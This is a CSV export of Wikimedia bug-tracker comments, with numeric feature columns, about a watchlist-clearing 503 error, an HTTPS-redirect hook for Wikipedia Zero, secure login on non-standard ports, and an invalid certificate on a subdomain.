302953,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",Sounds like we might need to break large very deletions into batches or something. Bah.,,,1402076248,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,18.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,Sounds like we might need to break large very deletions into batches or something. Bah.
302947,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","(In reply to UP from comment #3)
> Would it be possible to make a .js action thingy (to use on personal .js
> files) for the /clear page that removes, say, the first 2500 lines of the
> list at a time, until the bug gets a proper fix?

You can use this script to unwatch items of your watchlist in batch:

https://www.mediawiki.org/wiki/User:Ciencia_Al_Poder/unwatchapi.js

Just preview that script in your personal JS. The progress is written in the browser's debug console",,,1402073583,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.641509433962264,0.7924528301886793,"(In reply to UP from comment #3)
QUOTE
QUOTE
QUOTE

You can use this script to unwatch items of your watchlist in batch:

URL

Just preview that script in your personal JS. The progress is written in the browser's debug console"
302939,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:

@Andre Klapper, #39510 is about editing the watchlist, this is about clearing it. Those are two different tools. (Three actually but it seems original reporter for #39510 didn't specify which of the editing tools was failing for them, if not both.)

On a semi-related note, I'm on my way to do an experiment to see what thresholds I can get for edit tools (and possibly the clear tool) failing. I'll be back soon.",,,1402073444,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-56,True,0.0,0.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,4.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,1.0,4.0,3.0,6.0,1.0,1.5,6.5,0.0,0.0,0.0,1.0,4.5,0.0,2.0,0.0,6.0,9.0,0.5,0.0,0.0,0.0,6.0,0.0,1.5,2.0,1.0,3.0,0.0,0.0,0.5,3.617647058823529,0.7843137254901961,"**ab.zachaeus** wrote:
SCREEN_NAME Klapper, #39510 is about editing the watchlist, this is about clearing it. Those are two different tools. (Three actually but it seems original reporter for #39510 didn't specify which of the editing tools was failing for them, if not both.)

On a semi-related note, I'm on my way to do an experiment to see what thresholds I can get for edit tools (and possibly the clear tool) failing. I'll be back soon."
302933,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",What exactly is the difference to bug 39510?,,,1402067791,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,What exactly is the difference to bug 39510?
302928,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:

Would it be possible to make a .js action thingy (to use on personal .js files) for the /clear page that removes, say, the first 2500 lines of the list at a time, until the bug gets a proper fix?",,,1402066970,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-56,True,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,2.0,13.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.314814814814815,0.7777777777777778,"**ab.zachaeus** wrote:

Would it be possible to make a .js action thingy (to use on personal .js files) for the /clear page that removes, say, the first 2500 lines of the list at a time, until the bug gets a proper fix?"
302925,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:

(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #1)
> If you try it again, does it happen consistently?
> 
> A /clear is supposed to be more lightweight, but still, the problem may be
> in the database server, because it needs to remove 41k+ rows of a large
> table on a single transaction, although a database server error should
> normally trigger the usual WSOD (""this site is experiencing technical
> difficulties"")

Yes, I've tried about five times now, about three or four hours apart.",,,1402016346,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-56,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,5.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.192982456140351,0.6491228070175439,"**ab.zachaeus** wrote:

(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, I've tried about five times now, about three or four hours apart."
302920,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","If you try it again, does it happen consistently?

A /clear is supposed to be more lightweight, but still, the problem may be in the database server, because it needs to remove 41k+ rows of a large table on a single transaction, although a database server error should normally trigger the usual WSOD (""this site is experiencing technical difficulties"")",,,1401999084,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0.0,0.0,0.0,1.0,0.0,9.0,3.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,11.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,4.0,4.0,1.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,11.0,0.0,1.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,4.228571428571429,0.7714285714285715,"If you try it again, does it happen consistently?

A /clear is supposed to be more lightweight, but still, the problem may be in the database server, because it needs to remove 41k+ rows of a large table on a single transaction, although a database server error should normally trigger the usual WSOD (""this site is experiencing technical difficulties"")"
67567,Add hook to prohibit HTTP -> HTTPS redirect,"Whenever user has forceHTTPS cookie, any request that comes in via HTTP is automatically redirected to HTTPS. This behaviour is ok for most of the usecases, but it causes countless grievances in the zero-land for the following scenario:

User logs in (or obtains forceHTTPS cookie via some other means) while browsing *.wikipedia.org on WiFi or mobile network. At some point, they discover that their carrier offers wikipedia for free via *.zero.wikipedia.org. They try to navigate there, only to discover that they get an error screen due to using HTTPS (which is not supported by zero most of the time). They report it to the carrier, carrier, complains to us, and we have to explain to them that the only way for the user to use us ever since they got tainted by the ""forceHTTPS"" is to clear their browser's cookie storage.

In order to prevent the unnesesary grievance by many users (and we have heard a lot of this scenario), Zero extension needs to intercept http->https redirect. This redirect happens before most of the code, hence a new hook is needed, as implemented in Change-Id: If04c83066c5d4.

The redirect will be canceled only for the case of valid traffic from Zero partner , exclusivelly to *.zero. subdomain.

Please note that we are not breaking existing functionality here since zero hasn't had a valid SSL certificate until a week ago, and regardless, we do not currently support authentication or editing via zero subdomain.

--------------------------
**Version**: 1.24rc
**Severity**: normal",Medium,50.0,1400630100,1404596882.0,PHID-USER-esrrkc2rlizdlae443wg,False,,False,PHID-TASK-upakxlfj2bmsussepc7j,task_description,resolved,True,c3,1,True,False,True,-59,True,1.0,0.0,0.0,1.0,1.25,4.5,0.5,0.0,0.0,0.0,1.75,0.25,0.0,0.75,0.0,1.75,0.0,4.75,13.0,0.0,1.75,0.0,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,6.0,1.25,0.5,0.75,0.0,0.0,0.25,0.5,0.5,0.0,2.0,0.0,1.5,0.25,0.25,0.0,0.25,0.75,11.25,0.0,1.0,0.25,1.0,0.0,0.0,0.0,0.5,0.75,0.0,0.25,1.5,0.0,0.5,0.0,0.25,0.25,4.5,1.75,6.0,2.25,2.0,6.25,0.0,0.0,0.0,0.0,2.75,0.25,2.0,0.0,4.25,13.0,4.25,0.0,0.5,0.0,4.25,0.0,0.75,1.5,0.75,1.5,0.0,0.75,0.25,4.203947368421053,0.756578947368421,"Whenever user has forceHTTPS cookie, any request that comes in via HTTP is automatically redirected to HTTPS. This behaviour is ok for most of the usecases, but it causes countless grievances in the zero-land for the following scenario:

User logs in (or obtains forceHTTPS cookie via some other means) while browsing *.wikipedia.org on WiFi or mobile network. At some point, they discover that their carrier offers wikipedia for free via *.zero.wikipedia.org. They try to navigate there, only to discover that they get an error screen due to using HTTPS (which is not supported by zero most of the time). They report it to the carrier, carrier, complains to us, and we have to explain to them that the only way for the user to use us ever since they got tainted by the ""forceHTTPS"" is to clear their browser's cookie storage.

In order to prevent the unnesesary grievance by many users (and we have heard a lot of this scenario), Zero extension needs to intercept http->https redirect. This redirect happens before most of the code, hence a new hook is needed, as implemented in Change-Id: If04c83066c5d4.

The redirect will be canceled only for the case of valid traffic from Zero partner , exclusivelly to *.zero. subdomain.

Please note that we are not breaking existing functionality here since zero hasn't had a valid SSL certificate until a week ago, and regardless, we do not currently support authentication or editing via zero subdomain.

--------------------------
**Version**: 1.24rc
**Severity**: normal"
296491,Add hook to prohibit HTTP -> HTTPS redirect,"(In reply to Yuri Astrakhan from comment #1)
> Two pending patches:
> Core: If04c83066c5d4
> Zero: Ia8b620282bb01

Yuri: Both merged. What's left here?",,,1404595854,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-upakxlfj2bmsussepc7j,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,11.0,14.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.8214285714285714,"(In reply to Yuri Astrakhan from comment #1)
QUOTE
QUOTE
QUOTE

Yuri: Both merged. What's left here?"
296486,Add hook to prohibit HTTP -> HTTPS redirect,"Two pending patches:
Core: If04c83066c5d4
Zero: Ia8b620282bb01",,,1400694528,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-upakxlfj2bmsussepc7j,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.833333333333333,0.75,"Two pending patches:
Core: If04c83066c5d4
Zero: Ia8b620282bb01"
67184,wgSecureLogin does not play nicely with HTTPS on non-standard port,"If you have HTTPS configured to run on a non-standard port (eg 4430 rather than 443) and you have $wgSecureLogin enabled, clicking on the 'login' link does not work.

This is problematic particularly for the 'https' role in mediawiki-vagrant (https://gerrit.wikimedia.org/r/#/c/132702/) since with vagrant, you cannot forward ports < 1024.

--------------------------
**Version**: 1.24rc
**Severity**: normal",Medium,50.0,1399809240,1400886719.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-lxucw73vzsbnzlgfea7o,task_description,resolved,True,c3,1,False,False,True,-60,True,0.0,0.0,0.0,0.0,2.0,9.0,1.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,7.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,5.0,11.0,1.0,0.0,5.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.7529411764705882,0.7176470588235294,"If you have HTTPS configured to run on a non-standard port (eg 4430 rather than 443) and you have $wgSecureLogin enabled, clicking on the 'login' link does not work.

This is problematic particularly for the 'https' role in mediawiki-vagrant (URL since with vagrant, you cannot forward ports < 1024.

--------------------------
**Version**: 1.24rc
**Severity**: normal"
303611,wgSecureLogin does not play nicely with HTTPS on non-standard port,"Change 132799 merged by jenkins-bot:
Make HTTPS port configurable

https://gerrit.wikimedia.org/r/132799",,,1400885226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxucw73vzsbnzlgfea7o,task_subcomment,,True,c3,1,False,,,-58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 132799 merged by jenkins-bot:
Make HTTPS port configurable

GERRIT_URL"
303607,wgSecureLogin does not play nicely with HTTPS on non-standard port,"Change 132801 had a related patch set uploaded by Awjrichards:
Enable https-related mw configuration

https://gerrit.wikimedia.org/r/132801",,,1399811973,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxucw73vzsbnzlgfea7o,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.95,"Change 132801 had a related patch set uploaded by Awjrichards:
Enable https-related mw configuration

GERRIT_URL"
303602,wgSecureLogin does not play nicely with HTTPS on non-standard port,"Change 132799 had a related patch set uploaded by Awjrichards:
Make HTTPS port configurable

https://gerrit.wikimedia.org/r/132799",,,1399811261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxucw73vzsbnzlgfea7o,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.055555555555555,1.0,"Change 132799 had a related patch set uploaded by Awjrichards:
Make HTTPS port configurable

GERRIT_URL"
66977,https://wg.en.wikipedia.org is using an invalid certificate,"

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=62181",Medium,50.0,1399415940,1403657585.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_description,resolved,True,c3,1,False,False,True,-61,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.42857142857142855,"

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
306789,https://wg.en.wikipedia.org is using an invalid certificate,https://gerrit.wikimedia.org/r/#/c/134939/ is merged and deployed,,,1403657585,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-54,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,URL is merged and deployed
306784,https://wg.en.wikipedia.org is using an invalid certificate,to clarify: http://wg-en.wikipedia.org/ will not have the certificate problem because that is covered by the *.wikipedia.org cert while wg.en was not.,,,1400796939,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9166666666666666,to clarify: URL will not have the certificate problem because that is covered by the *.wikipedia.org cert while wg.en was not.
306778,https://wg.en.wikipedia.org is using an invalid certificate,"Reedy made http://wg-en.wikipedia.org work

next we'll want an Apache redirect from old to now",,,1400796622,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6875,1.0,"Reedy made URL work

next we'll want an Apache redirect from old to now"
306774,https://wg.en.wikipedia.org is using an invalid certificate,"(In reply to Andre Klapper from comment #2)
> Liangent: Are you fine with changing the purpose of this ticket from fixing
> the cert to moving that wiki to a saner address that's not under
> en.wikipedia.org?

I don't actually care. Local community / users of that wiki should be consulted.

I just discovered this wiki accidentally.",,,1400780508,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,False,,,-58,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,9.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.744186046511628,0.7906976744186046,"(In reply to Andre Klapper from comment #2)
QUOTE
QUOTE
QUOTE

I don't actually care. Local community / users of that wiki should be consulted.

I just discovered this wiki accidentally."
306770,https://wg.en.wikipedia.org is using an invalid certificate,Liangent: Are you fine with changing the purpose of this ticket from fixing the cert to moving that wiki to a saner address that's not under en.wikipedia.org?,,,1400779617,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,4.4,0.9,Liangent: Are you fine with changing the purpose of this ticket from fixing the cert to moving that wiki to a saner address that's not under en.wikipedia.org?
306764,https://wg.en.wikipedia.org is using an invalid certificate,"honestly, this should not even exist, afaik wikipedia.org should contain only actual language versions of the encyclopedia, not meta projects. this should move to something like wg-en.wikiMedia.org and that will also solve the cert issue.  (we can't just have *.*.wikipedia.org anyways)",,,1400779535,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,18.0,6.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.823529411764706,0.8431372549019608,"honestly, this should not even exist, afaik wikipedia.org should contain only actual language versions of the encyclopedia, not meta projects. this should move to something like wg-en.wikiMedia.org and that will also solve the cert issue.  (we can't just have *.*.wikipedia.org anyways)"
